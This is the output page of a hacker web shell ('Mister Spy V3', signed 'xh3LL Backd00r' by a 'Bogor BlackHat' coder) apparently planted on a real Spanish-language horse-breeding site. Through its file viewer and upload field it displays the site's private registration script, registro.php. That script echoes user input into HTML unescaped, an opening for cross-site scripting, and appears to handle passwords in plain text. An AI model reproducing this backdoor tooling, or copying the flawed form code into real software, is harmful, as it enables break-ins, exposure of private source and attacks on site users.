Mister Spy Say ="Hello Kids ... :D" ___ ____ _ _____ | \/ (_) | | / ___| | . . |_ ___| |_ ___ _ __ \ `--. _ __ _ _ | |\/| | / __| __/ _ \ '__| `--. \ '_ \| | | | | | | | \__ \ || __/ | /\__/ / |_) | |_| | \_| |_/_|___/\__\___|_| \____/| .__/ \__, | | | __/ | |_| |___/ Bot Mister Spy V3
Mister Spy

Mister Spy

Current Path : /home/caballoscriollos/public_html/espanol/
Upload File :
Current File : /home/caballoscriollos/public_html/espanol/registro.php

<?php

	header('Location: ../sitio/');
	exit; 
require_once('../inc_library.php'); 

/* obtiene datos del formulario */
$Nombre 			= strval($_REQUEST['Nombre']);
$Apellido			= strval($_REQUEST['Apellido']);
$CodigoAreaTelefono	= strval($_REQUEST['CodigoAreaTelefono']);
$Telefono 			= strval($_REQUEST['Telefono']);
$CodigoAreaFax		= strval($_REQUEST['CodigoAreaFax']);
$Fax 				= strval($_REQUEST['Fax']);
$Email				= strval($_REQUEST['Email']);
$DomicilioCalle		= strval($_REQUEST['DomicilioCalle']);
$DomicilioNumero	= strval($_REQUEST['DomicilioNumero']);
$DomicilioPiso		= strval($_REQUEST['DomicilioPiso']);
$DomicilioDpto		= strval($_REQUEST['DomicilioDpto']);
$IdPais				= intval($_REQUEST['IdPais']);
$IdProvincia		= intval($_REQUEST['IdProvincia']);
$IdLocalidad		= intval($_REQUEST['IdLocalidad']);
$CodigoPostal		= strval($_REQUEST['CodigoPostal']);
$Empresa			= strval($_REQUEST['Empresa']);
$CuitCuil			= strval($_REQUEST['CuitCuil']);
$Contrasenia		= strval($_REQUEST['Contrasenia']);
$ReContrasenia		= strval($_REQUEST['ReContrasenia']);
$Mayorista			= (isset($_REQUEST['Mayorista'])) 	? $_REQUEST['Mayorista'] 	: 0;
$Newsletter			= (isset($_REQUEST['Newsletter'])) 	? $_REQUEST['Newsletter'] 	: 1;
$Grupos 			= (isset($_REQUEST['IdGrupo'])) 	? $_REQUEST['IdGrupo'] 		: array();
$Url 				= (isset($_REQUEST['Url'])) 	? $_REQUEST['Url'] 		: '';
$Submit				= (isset($_REQUEST['Submitted']));

/* declaramos e instanciamos variables necesarias */
$err			= 0;
$CreateOk		= 0;
$CreateError	= 0;
$oUsuarios		= new Usuarios();
$oUsuario 		= new Usuario();
$oPaises		= new Paises();
$oGrupos		= new Grupos();
$oLogAcceso 	= new LogAcceso();
$oLogAccesos 	= new LogAccesos();

/* obtenemos listado de grupos */
$arrGrupos = $oGrupos->GetAllByIdTipo(GrupoTipo::Web);

/* armamos listado de paises */
$arrPaises = $oPaises->GetAll();

/* si el formulario fue enviado... */
if ($Submit)
{
	/* verificamos el campo de cuit */
	$CuitCuil = ($CuitCuil != 'Sin guiones ni puntos') ? str_replace("-", "", $CuitCuil) : '';

	/* validaciones... */
	if ($Nombre == '')
		$err |= 1;
	if ($Apellido == '')
		$err |= 2;
	if (!IsEmail($Email))
		$err |= 4;
	elseif ($oUsuarios->GetByEmail($Email))
		$err |= 8;		
	if ($Contrasenia == '')
		$err |= 16;
	if ($ReContrasenia == '')
		$err |= 32;
	elseif ($Contrasenia != $ReContrasenia)
		$err |= 64;
	if ($IdPais == '')
		$err |= 128;
	if (($Mayorista) && ((!((int)$CuitCuil > 0)) || (strlen($CuitCuil) != 11)))
		$err += 256;

	/* si no hay errores... */
	if ($err == 0)
	{
		$oUsuario->IdTipoLista 			= ($Mayorista) ? ListaTipos::Mayorista : ListaTipos::Minorista;
		$oUsuario->Nombre 				= $Nombre;
		$oUsuario->Apellido 			= $Apellido;
		$oUsuario->CodigoAreaTelefono	= $CodigoAreaTelefono;
		$oUsuario->Telefono 			= $Telefono;
		$oUsuario->CodigoAreaFax		= $CodigoAreaFax;
		$oUsuario->Fax 					= $Fax;
		$oUsuario->Email 				= $Email;
		$oUsuario->DomicilioCalle 		= $DomicilioCalle;
		$oUsuario->DomicilioNumero 		= $DomicilioNumero;
		$oUsuario->DomicilioPiso 		= $DomicilioPiso;
		$oUsuario->DomicilioDpto 		= $DomicilioDpto;
		$oUsuario->IdPais	 			= $IdPais;
		$oUsuario->IdProvincia 			= $IdProvincia;
		$oUsuario->IdLocalidad 			= $IdLocalidad;
		$oUsuario->CodigoPostal 		= $CodigoPostal;
		$oUsuario->Empresa 				= $Empresa;
		$oUsuario->CuitCuil 			= $CuitCuil;
		$oUsuario->Contrasenia 			= $Contrasenia;
		$oUsuario->Newsletter 			= $Newsletter;
		$oUsuario->Grupos 				= $Grupos;
		$oUsuario->IdEstado 			= UsuarioEstados::Activo;
		
		/* crea el usuario */
		if ($oUsuario = $oUsuarios->Create($oUsuario))
		{
			$CreateOk = 1;
			$User = $oUsuario->Email;
			$Pass = $oUsuario->Contrasenia;
			
			$retValue = SessionFront::Login($User, $Pass);
			
			/* Obtiene los datos del usuario logueado */
			$CurrentUser = SessionFront::GetCurrentUser();
		
			/* almacenamos el acceso en el log de accesos */
			$oLogAcceso->IdUsuario 	= $CurrentUser->IdUsuario;
			$oLogAcceso->Ip 		= strval($_SERVER['REMOTE_ADDR']);

			$oLogAccesos->Create($oLogAcceso);

			if ($Url != '')				
				header("Location: " . Config::UrlSitioEspanol . $Url);
			else
				header("Location: " . Config::UrlSitioEspanol . 'catalogo');
			exit;
			
			//$oUsuario->SendMailRegistro();
		}
		else
		{
			$CreateError = 1;
		}
	}
}
else
{
	/* carga los grupos de preferencia en un array */
	foreach ($arrGrupos as $oGrupo)
		array_push($Grupos, $oGrupo->IdGrupo);
	
	$IdPais = 13;
}

$Titulo = 'Registro | ';
$Titulo.= $oDatosEmpresa->SeoRubroEmpresa . ' | ';
$Titulo.= $oDatosEmpresa->Localidad . ' | ';
$Titulo.= $oDatosEmpresa->SeoNombreEmpresa;

?>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
	<title><?=$Titulo?></title>
	<?php include("ssi_head_inc.php"); ?>


	<script type="text/javascript">
	
	function CheckNewsletter(value)
	{
		var IdGrupos = document.frmData['IdGrupo[]'];
		var i;
		if (!IdGrupos)
			return false;
		
		if (value != 1)
		{
			for (i=0; i<IdGrupos.length; i++)
				IdGrupos[i].checked = false;
				
			HideSection('Grupos');
		}
		else
		{
			ShowSection('Grupos');
		}
	}

	</script>
	<!-- Global site tag (gtag.js) - Google Analytics -->

<script async src="https://www.googletagmanager.com/gtag/js?id=UA-112666274-1"></script>

<script>

  window.dataLayer = window.dataLayer || [];

  function gtag(){dataLayer.push(arguments);}

  gtag('js', new Date());

 

  gtag('config', 'UA-112666274-1');

</script>
</head>

<body class="general">
	<div id="wrapper">
		<?php include("ssi_header.php"); ?>
		<div class="content">
			<div id="container">
				<div class="titulo-gral">
					<ul>
						<li>REGISTRO</li>
						<li><img src="images/titulo_last.png" title=""></li>
					</ul>
				</div>
				<div class="checkout-content">
				<?php 
				if (!$CreateOk)
				{ 
				?>
					<form name="frmData" id="frmData" method="post" >
						<input type="hidden" name="Submitted" id="Submitted" value="1" />
						<input type="hidden" name="Url" id="Url" value="<?= $Url ?>" />
						<div class="form-container">
							<div class="form-row">
								<div class="form-item form-item-largo">							
									<label>Lo invitamos a registrarse en nuestro sitio, por favor complete el siguiente formulario con sus datos personales.</label><br />
									<label>Recuerde que los campos marcados con</label><span style="color:#FF0000;"><span class="asteriscoError">*</span></span><label> son obligatorios.</label>
								</div>
							</div>
							<div class="form-row">
								<div class="form-item">
									<div class="form-item-header">
										<label for="Nombre">Nombre:</label><span style="color:#FF0000;">&nbsp;<span class="asteriscoError">*</span></span>
									</div>
									<div class="form-item-controls">
										<input type="text" name="Nombre" id="Nombre" value="<?=$Nombre?>" />									
									</div>
									<?php 
										if ($err & 1) 
										{ 
									?>
									<li style="color:#FF0000;">Ingrese el nombre</li>
									<?php 
										} 
									?>
								</div>
								<div class="form-item">
									<div class="form-item-header">
										<label for="Apellido">Apellido:</label>
										<span style="color:#FF0000;">&nbsp;<span class="asteriscoError">*</span></span>	
									</div>
									<div class="form-item-controls">
										<input type="text" name="Apellido" id="Apellido" value="<?=$Apellido?>" />
									</div>
									<?php 
										if ($err & 2) 
										{ 
									?>
									<li style="color:#FF0000;">Ingrese el Apellido</li>
									<?php 
										} 
									?>
								</div>
							</div>
							<div class="form-row">
								<div class="form-item">
									<div class="form-item-header">
										<label for="CodigoAreaTelefono">Tel&eacute;fono:</label>
									</div>
									<div class="form-item-controls">
										<input type="text" name="CodigoAreaTelefono" id="CodigoAreaTelefono" class="mediano watermark" title="C&oacute;digo Area" maxlength="16" value="<?=$CodigoAreaTelefono;?>" />
										<input type="text" name="Telefono" id="Telefono" class="mediano-grande watermark" title="Tel&eacute;fono" maxlength="32" value="<?=$Telefono;?>" />
									</div>
								</div>					
								<div class="form-item">
									<div class="form-item-header">
										<label for="CodigoAreaTelefono">Fax:</label>
									</div>
									<div class="form-item-controls">
										<input type="text" name="CodigoAreaFax" id="CodigoAreaFax" class="mediano watermark" title="C&oacute;digo Area" maxlength="16" value="<?=$CodigoAreaFax;?>" />
										<input type="text" name="Fax" id="Fax" class="mediano-grande watermark" title="Fax" maxlength="32" value="<?=$Fax;?>" />
									</div>
								</div>			
							</div>
							<div class="form-row">
								<div class="form-item">
									<div class="form-item-header">
										<label for="Email">E-Mail:</label>
										<span style="color:#FF0000;">&nbsp;<span class="asteriscoError">*</span></span>
									</div>
									<div class="form-item-controls">
										<input type="text" name="Email" id="Email" class="campoFormularioSimple" value="<?=$Email?>" />
									</div>
									<?php 
										if ($err & 4)
										{ 
									?>
									<li style="color:#FF0000;">Ingrese un email v&aacute;lido</li>
									<?php 
										} 
									?>
									<?php 
										if ($err & 8)
										{ 
									?>
									<li style="color:#FF0000;">El email ya existe registrado</li>
									<?php 
										} 
									?>
								</div>
								<div class="form-item">
									<div class="form-item-header">
										<label for="DomicilioCalle">Calle:</label>
									</div>
									<div class="form-item-controls">
										<input type="text" name="DomicilioCalle" id="DomicilioCalle" value="<?=$DomicilioCalle?>" />
									</div>
								</div>			
							</div>
							<div class="form-row">
								<div class="form-item">
									<div class="form-item-header">
										<label class="fix-width" for="DomicilioNumero">Nro.:</label>
										<label class="fix-width" for="DomicilioPiso">Piso:</label>
										<label class="fix-width" for="DomicilioDpto">Dpto.:</label>
									</div>
									<div class="form-item-controls">
										<input type="text" name="DomicilioNumero" id="DomicilioNumero" class="chico" value="<?=$DomicilioNumero?>" />
										<input type="text" name="DomicilioPiso" id="DomicilioPiso" class="chico" value="<?=$DomicilioPiso?>" />
										<input type="text" name="DomicilioDpto" id="DomicilioDpto" class="chico" value="<?=$DomicilioDpto?>" />
									</div>			
								</div>
								<div class="form-item">
									<div class="form-item-header">
										<label for="IdPais">Pa&iacute;s:</label>
										<span style="color:#FF0000;"><span class="asteriscoError">&nbsp;*</span></span> 
									</div>
									<div class="form-item-controls">
										<select name="IdPais" id="IdPais" class="campoFormularioSimple" onchange="javascript:LoadProvincias('IdProvincia', this.value, '');">
											<option value="" >[Seleccione]</option>							
											<?php 
												foreach ($arrPaises as $oPais) 
												{ 
											?>
											<option value="<?=$oPais->IdPais?>" <?php echo ($oPais->IdPais == $IdPais) ? "selected='selected'" : "" ?> > <?=$oPais->Nombre;?></option>
											<?php 
												} 
											?>								
										</select>
									</div>
									<?php 
									if ($err & 128) 
									{ 
									?>
									<li style="color:#FF0000;">Seleccione un pa&iacute;s</li>
									<?php 
									} 
									?>
								</div>
							</div>
							<div class="form-row">
								<div class="form-item">
									<div class="form-item-header">
										<label for="IdProvincia">Provincia:</label>
									</div>
									<div class="form-item-controls">
										<select name="IdProvincia" id="IdProvincia" class="campoFormularioSimple" onchange="javascript:LoadLocalidades('IdLocalidad', this.value, '');">
											<option value="">[Seleccione]</option>
										</select>
									</div>
								</div>
								<div class="form-item">
									<div class="form-item-header">
										<label for="IdLocalidad">Barrio Cerrado:</label>
									</div>
									<div class="form-item-controls">
										<select name="IdLocalidad" id="IdLocalidad" class="campoFormularioSimple">
											<option value="">[Seleccione]</option>
										</select>
									</div>
								</div>			
							</div>
							<div class="form-row">
								<div class="form-item">
									<div class="form-item-header">
										<label for="CodigoPostal">C&oacute;digo Postal:</label>
									</div>
									<div class="form-item-controls">
										<input type="text" name="CodigoPostal" id="CodigoPostal" value="<?=$CodigoPostal?>" />
									</div>
								</div>
								<div class="form-item">
									<div class="form-item-header">
										<label for="Empresa">Empresa:</label>
									</div>
									<div class="form-item-controls">
										<input type="text" name="Empresa" id="Empresa" class="campoFormularioSimple" value="<?=$Empresa?>" />
									</div>
								</div>			
							</div>
							<div class="form-row">
								<div class="form-item">
									<div class="form-item-header">
										<label for="CuitCuil">CUIT/CUIL:</label>
									</div>
									<div class="form-item-controls">
										<input type="text" name="CuitCuil" id="CuitCuil" value="<?=($CuitCuil != '') ? $CuitCuil : 'Sin guiones ni puntos'?>" onfocus="javascript: (this.value == 'Sin guiones ni puntos') ? this.value = '' : ''" />
									</div>
									<?php 
									if ($err & 256) 
									{ 
									?>
									<li style="color:#FF0000;">Ingrese un CUIT/CUIL v&aacute;lido</li>
									<?php 
									} 
									?>
								</div>
							</div>
							<div class="form-row">
								<div class="form-item">
									<div class="form-item-header">
										<label for="Contrasenia">Contrase&ntilde;a:</label>
										<span style="color:#FF0000;"><span class="asteriscoError">&nbsp;*</span></span>
									</div>
									<div class="form-item-controls">
										<input type="password" name="Contrasenia" id="Contrasenia" value="<?=$Contrasenia;?>" />
									</div>
									<?php 
									if ($err & 16) 
									{ 
									?>
									<li style="color:#FF0000;">Ingrese la contrase&ntilde;a</li>
									<?php 
									} 
									?>
								</div>
								<div class="form-item">
									<div class="form-item-header">
										<label for="ReContrasenia">Confirmar:</label>
										<span style="color:#FF0000;"><span class="asteriscoError">&nbsp;*</span></span>
									</div>
									<div class="form-item-controls">
										<input type="password" name="ReContrasenia" id="ReContrasenia" class="campoFormularioSimple" value="<?=$ReContrasenia;?>" />
									</div>
									<?php 
									if ($err & 32) 
									{ 
									?>
									<li style="color:#FF0000;">Confirme la contrase&ntilde;a</li>
									<?php 
									} 			
									if ($err & 64) 
									{ 
									?>
									<li style="color:#FF0000;">Las contrase&ntilde;as no coinciden</li>
									<?php 
									} 
									?>
								</div>
							</div>
							<div class="form-row">
								<div class="form-item form-item-margen">
									<label for="Empresa">&iquest;Desea recibir newsletter?</label>
									<label class="fix-width-slim"><input type="radio" name="Newsletter" id="Newsletter" value="1" onclick="javascript: CheckNewsletter(this.value);" <?php echo ($Newsletter) ? 'checked' : '' ?> /> Si</label>
									<label class="fix-width-slim"><input type="radio" name="Newsletter" id="Newsletter" value="0" onclick="javascript: CheckNewsletter(this.value);" <?php echo (!$Newsletter) ? 'checked' : '' ?> /> No</label>
								</div>			
							</div>
							<?php 
						if ($arrGrupos)
						{ 
							$style = '';
							if (!$Newsletter) 
							{ 
								$style = 'style="display:none;"';
							}
						?>
						<div id="Grupos" <?= $style ?>  class="form-row">
							<div class="form-item form-item-largo">
								<div class="form-item-controls form-item-controls-largo">
						<?php 
							foreach ($arrGrupos as $oGrupo) 
							{ 
						?>
									<label><input type="checkbox" name="IdGrupo[]" id="IdGrupo[]" value="<?=$oGrupo->IdGrupo?>" <?php echo (FindElement($Grupos, $oGrupo->IdGrupo)) ? 'checked' : '' ?> /><?=$oGrupo->Nombre?></label><br />
						<?php
							}
						?>
								</div>
							</div>
						</div>
						<?php
						}
						?>
					
						<div class="clear-fix"></div>
						<ul class="checkout-botonera">
							<li>
								<a href="login" class="checkout-boton-right">CANCELAR</a>
							</li>
							<li>
								<input type="submit" id="submit" name="submit" class="producto-comprar" value="ACEPTAR" />
							</li>
						</ul>
						<div class="clear-fix"></div>
					</div>
				</form>
				<script language="JavaScript" type="text/javascript">		
					ClearCombo('IdProvincia');
					ClearCombo('IdLocalidad');
					LoadProvincias('IdProvincia', '<?=$IdPais?>', '<?=$IdProvincia?>');
					LoadLocalidades('IdLocalidad', '<?=$IdProvincia?>', '<?=$IdLocalidad?>');
					CheckNewsletter('<?=$Newsletter?>');	
				</script>
			<?php
				}
				elseif ($CreateOk == 1)
				{
			?>
				<div class="checkout-info">
					<ul>
					<li>Gracias por registrarse.</li>
					<li>Para finalizar el proceso de apertura de cuenta en nuestro sitio, le hemos enviado  <br />un e-mail a su casilla de correo para confirmar que la misma sea correcta.</li>
					<li>Por favor, verifique su correo electr&oacute;nico y proceda con los pasos indicados.</li>
					</ul>
					<div class="clear-fix"></div>
				</div>
			<?php
				}
				elseif ($CreateError == 1) 
				{
			?>
				<h2>Error!!</h2>
				<div style="clear:both">&nbsp;</div>
				<p>La casilla de correo ingresada se encuentra registrada.</p>
				<div style="clear:both">&nbsp;</div>
				<p>Por favor, verifique que sus datos sean correctos.</p>
			<?php
				}
			?>
			</div>	
		</div>
	</div>	

	</div>
		<?php include("ssi_footer.php"); ?>
		<?php echo $oGoogleAnalytic->Codigo; ?>
</body>
<!-- InstanceEnd --></html>

Mr. DellatioNx196 GaLers xh3LL Backd00r 1.0, Coded By Mr. DellatioNx196 - Bogor BlackHat